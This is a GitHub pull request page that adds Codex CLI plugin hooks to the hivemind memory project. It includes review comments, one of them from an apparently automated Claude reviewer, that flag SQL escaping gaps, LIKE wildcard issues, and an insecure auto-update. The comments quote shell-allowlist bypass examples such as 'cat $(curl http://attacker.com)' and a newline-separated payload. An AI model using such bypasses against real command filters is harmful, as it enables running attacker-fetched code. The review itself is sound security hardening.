Skip to content

Add Codex CLI plugin support#38

Merged
efenocchi merged 26 commits intomainfrom
feature/codex-implementation
Apr 11, 2026
Merged

Add Codex CLI plugin support#38
efenocchi merged 26 commits intomainfrom
feature/codex-implementation

Conversation

@efenocchi
Copy link
Copy Markdown
Collaborator

Summary

Full Codex CLI plugin implementation alongside the existing Claude Code and OpenClaw plugins. Codex agents can now access the shared Deeplake memory system — reading session summaries, searching across org memory, and capturing their own sessions.

Codex plugin (src/hooks/codex/ + codex/)

  • SessionStart — injects memory context as plain text (Codex rejects JSON output)
  • Capture (UserPromptSubmit + PostToolUse) — writes session events to the sessions table
  • PreToolUse — intercepts Bash commands targeting the memory path using block+inject strategy (stderr + exit 2). Handles cat, ls, and grep via direct SQL fast path; falls back to virtual shell for other commands
  • Stop — captures final event and spawns wiki summary worker
  • Wiki worker — generates structured session summaries using the same template as Claude Code

VFS improvements

  • Suppress "Mounting deeplake://..." stderr messages in one-shot -c mode
  • Capture stderr in runVirtualShell() via stdio: pipe instead of inheriting to parent process
  • Add ls to the codex SQL fast path for directory listings

Cleanup

  • Remove deeplake-cli references from auth.ts and hook descriptions
  • Remove FUSE/mount language from CONCERNS.md and shell docstrings
  • Remove CLAUDE.md from version control (now local-only via .gitignore)
  • Revert table names from memory_test/sessions_test back to memory/sessions
  • Drop the test tables from the DB

Testing

  • New deeplake-api.test.ts — covers query retry logic, semaphore concurrency, upsert paths, listTables, ensureTable (26% to 99% statement coverage)
  • New codex tests: codex-hooks.test.ts, codex-integration.test.ts, codex-capture.test.ts
  • All 443 tests pass, overall coverage 84% stmts / 87% lines

Build

  • esbuild.config.mjs now produces 7 codex bundles alongside the 7 claude-code bundles
  • Marketplace manifest updated with hivemind-codex entry
  • README updated with Codex quick start instructions

Platform differences (Codex vs Claude Code)

Aspect Claude Code Codex
PreToolUse fires for Read, Write, Edit, Glob, Grep, Bash Bash only
Hook output format JSON updatedInput stderr + exit 2 (block+inject)
SessionStart output JSON additionalContext Plain text on stdout
SessionEnd Dedicated hook Stop does double duty
Async hooks Supported Not supported

See codex/CONCERNS.md for full details.

Test plan

  • npm test — 443 tests pass
  • E2E: codex exec with memory queries — reads work, no mount noise
  • Smoke test: hook unit tests via piped JSON
  • Verified cat, ls, ls -la, grep return clean output via SQL fast path
  • Verified virtual shell fallback (head, find, etc.) works without stderr leakage

Track which agent (claude_code, codex, openclaw) generated each event.
The column is included in CREATE TABLE schema for both memory and
sessions tables, and populated in all INSERT statements.
The "Ported from deeplake-cli" comment is no longer relevant
since the auth code is maintained directly in this repo.
When deeplake-shell runs with -c flag, skip the "Connecting..."
and "Ready. N files loaded" stderr messages. These pollute the
output when the shell is spawned programmatically by hooks.
Remove "virtual FS" wording from the rewritten command description.
Codex-specific hooks: session-start, capture, pre-tool-use, stop,
and wiki-worker. The pre-tool-use hook uses block+inject strategy
(stderr + exit 2) and handles cat/ls/grep via direct SQL fast path
with virtual shell fallback for other commands.
Bundle codex hooks, shell, auth, and wiki-worker into codex/bundle/
alongside the existing claude-code bundles.
Plugin manifest, hooks.json wiring PreToolUse to Bash only,
install script, skills, and documented concerns about platform
differences from Claude Code.
Built output for all codex hooks, shell, auth, and wiki-worker.
Tests for hooks.json structure, plugin.json manifest, bundle output,
session-start plain text output, capture disable, pre-tool-use
interception, and stop hook behavior.
Cover query retry logic, semaphore concurrency, appendRows/commit
upsert paths, updateColumns, createIndex, listTables with retries,
ensureTable, and ensureSessionsTable. Brings deeplake-api.ts from
26% to 99% statement coverage.
Reflects shell message suppression and pre-tool-use description
cleanup.
Register hivemind-codex alongside the existing claude-code entry.
Keep as local-only file via .gitignore so each developer
can maintain their own project instructions.
Document install, login, update, and uninstall steps for the
Codex CLI plugin. Update repo layout and build output references.
The test expected "Logged in to Deeplake" but CI has no credentials,
so it outputs "Not logged in". Accept either login status message.
@efenocchi
Copy link
Copy Markdown
Collaborator Author

/claude-review

@claude
Copy link
Copy Markdown

claude bot commented Apr 11, 2026

Claude finished @efenocchi's task in 3m 13s —— View job


Review complete

Found 5 issues across the new Codex hooks — inline comments posted. Summary:

  • capture.ts / stop.ts: line.replace(/'/g, "''") skips backslash and NUL escaping that sqlStr() provides; user-controlled content (prompts, tool responses, transcript text) inserted into the sessions table can cause SQL corruption. Fix: sqlStr(line).
  • pre-tool-use.ts grep fast-path: sqlStr(pattern) doesn't escape LIKE wildcards (%, _); use sqlLike(pattern) which already exists in the codebase.
  • pre-tool-use.ts isSafe(): $(...) / backtick command substitutions are invisible to the first-token allowlist check; add an explicit guard before the loop.
  • session-start.ts auto-update: Silent git clone + cp -r from HEAD with no integrity check is a supply chain risk.

]);

function isSafe(cmd: string): boolean {
const stripped = cmd.replace(/'[^']*'/g, "''").replace(/"[^"]*"/g, '""');
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

isSafe() only inspects the first token of each pipe/semicolon stage, so $(...) and backtick substitutions bypass it entirely — a command like cat $(curl http://attacker.com) passes the check and is forwarded to the virtual shell. Reject substitution syntax explicitly before walking the allowlist.

Suggested change
const stripped = cmd.replace(/'[^']*'/g, "''").replace(/"[^"]*"/g, '""');
function isSafe(cmd: string): boolean {
// Reject command/process substitution before checking tokens
if (/\$\(|`|<\(/.test(cmd)) return false;
const stripped = cmd.replace(/'[^']*'/g, "''").replace(/"[^"]*"/g, '""');
const stages = stripped.split(/\||;|&&|\|\|/);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

can you double check this

Replace manual quote escaping with sqlStr() which also handles
backslash and NUL-byte stripping, preventing SQL corruption from
user-controlled content.
- Reject command substitution ($(), backticks, <()) in isSafe()
  before the token allowlist check
- Use sqlLike() instead of sqlStr() for grep LIKE patterns to
  escape wildcard characters (% and _)
@efenocchi
Copy link
Copy Markdown
Collaborator Author

@claude review again

@efenocchi
Copy link
Copy Markdown
Collaborator Author

/claude-review

@claude
Copy link
Copy Markdown

claude bot commented Apr 11, 2026

Claude finished @efenocchi's task in 2m 11s —— View job


Review complete

All 4 issues from the previous review were fixed. Found 3 remaining issues; inline comments posted:

  • pre-tool-use.ts ls fast-pathsqlStr(dir) used inside a LIKE pattern; should be sqlLike(dir) for the same reason the grep path was fixed. Fix this →
  • wiki-worker.ts esc() + E-prefix mismatch — LIKE queries at lines 89/104/119 lack the E'...' prefix that the INSERT/UPDATE calls use; \\ from esc() is interpreted as two backslashes without it. Latent bug if session IDs ever contain backslashes.
  • session-start.ts auto-update — still pulls live HEAD from GitHub on every session start with no integrity check; flagged in the prior review and unaddressed.

…auto-update to version tag

- Use sqlLike() for ls LIKE query to escape wildcard characters
- Add E'...' prefix to wiki-worker session LIKE query for correct
  backslash handling
- Pin auto-update git clone to version tag (v0.6.11) instead of
  HEAD to prevent pulling untagged/unreleased code
Users can now tell Codex to fetch the INSTALL.md directly and
follow the instructions, matching the superpowers install pattern.
@kaghni
Copy link
Copy Markdown
Collaborator

kaghni commented Apr 11, 2026

Review — structuring the Codex plugin for the monorepo

Good work getting the hooks working with Codex's different contract (stderr+exit2, plain text output, Bash-only PreToolUse). The platform differences table is helpful. A few things to address before merging:

1. Plugin code should live in codex/src/, not src/hooks/codex/

The monorepo convention is: shared code in src/, plugin-specific code in its own dir (claude-code/src/, openclaw/src/, codex/src/). The Codex hooks are currently in src/hooks/codex/ which pollutes the shared namespace. Move them to codex/src/hooks/.

2. Don't delete CLAUDE.md

CLAUDE.md has project-wide build instructions and conventions that all contributors need. It should stay in version control.

3. Install story — git clone from HEAD is not viable

The install.sh does git clone + cp -r with no version pinning or integrity check. This was flagged twice by the automated review as a supply chain risk.

More importantly: Codex plugins work across CLI, VS Code extension, and Cursor. Users on IDE extensions are not going to run git clone. The install script should:

  • Pin a specific release tag, not HEAD
  • Ideally provide a one-liner that downloads a release artifact

Since Codex has no marketplace yet (self-serve publishing isn't available), we should at minimum make the manual setup as simple as possible — a single config.toml snippet users can paste.

4. Reduce duplication — extract shared logic to src/

capture.ts, stop.ts, session-start.ts, wiki-worker.ts, pre-tool-use.ts are near-copies of the CC hooks. The platform-specific parts (output format, hook contract) are real differences, but the shared logic should be extracted:

  • Session path building (buildSessionPath) — already duplicated in openclaw too
  • Wiki summary template
  • SQL INSERT patterns for the sessions table
  • Safe command detection (isSafe)

Each plugin hook becomes a thin adapter: read stdin → call shared logic → format output for the platform. This is the whole point of the monorepo.

5. Don't commit 68K-line bundle

codex/bundle/shell/deeplake-shell.js is 68,804 lines. Bundle should be built from source, not checked in at that size. If bundles must be checked in (like CC for marketplace), keep it to the hook bundles, not the full shell.

6. agent column cherry-pick

The agent column was added in feature/codex-implementation (commit fbdc2fb) and has been cherry-picked to feat/openclaw-login-command. Make sure to rebase to avoid conflicts — both branches touch ensureTable/ensureSessionsTable and capture INSERT statements.


TL;DR: The hook implementations work, but the code organization needs to follow the monorepo pattern. Plugin-specific code in codex/src/, shared logic extracted to src/, no git-clone-from-HEAD install, no CLAUDE.md deletion.

"version": "0.6.11",
"source": "./claude-code",
"homepage": "https://github.com/activeloopai/hivemind"
},
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will create a new plugin named hivemind-codex on claude code marketplace which doesn't make snece I think

@@ -0,0 +1,150 @@
# Codex Plugin — Concerns & Differences from Claude Code
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

should be deleted or ignored

codex/install.sh Outdated
@@ -0,0 +1,64 @@
#!/bin/bash
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

.sh install should be faster than asking codex to do it with above INSTALL.md and we hsould also be able to directly ask codex to run the install.sh . SO let's either keep the install.sh or INSTALL.md

@@ -0,0 +1,6 @@
{
"name": "hivemind-codex",
"version": "0.6.7",
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The versions are not matching with the global pakcage.json the update logic for codex should be added to release.yaml so they'll stay synced with other plugins

@@ -0,0 +1,118 @@
#!/usr/bin/env node
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Later should be moved to codex/hooks or shared if these are shared between codex claude and openclaw. but we cna leave it for now

]);

function isSafe(cmd: string): boolean {
const stripped = cmd.replace(/'[^']*'/g, "''").replace(/"[^"]*"/g, '""');
Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

can you double check this

…entry

- CONCERNS.md was a draft file not meant for the repo
- install.sh removed in favor of INSTALL.md
- hivemind-codex marketplace entry removed — Codex plugin
  should not create a separate marketplace listing
Matches the root package.json version so release.yaml
keeps all plugin versions in lockstep.
Newlines act as command separators in bash but were not
included in the split regex, allowing a payload like
"safe_cmd\nunsafe_cmd" to bypass the allowlist. Fixed in
both CC and Codex hooks.
@efenocchi efenocchi merged commit 22cf588 into main Apr 11, 2026
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants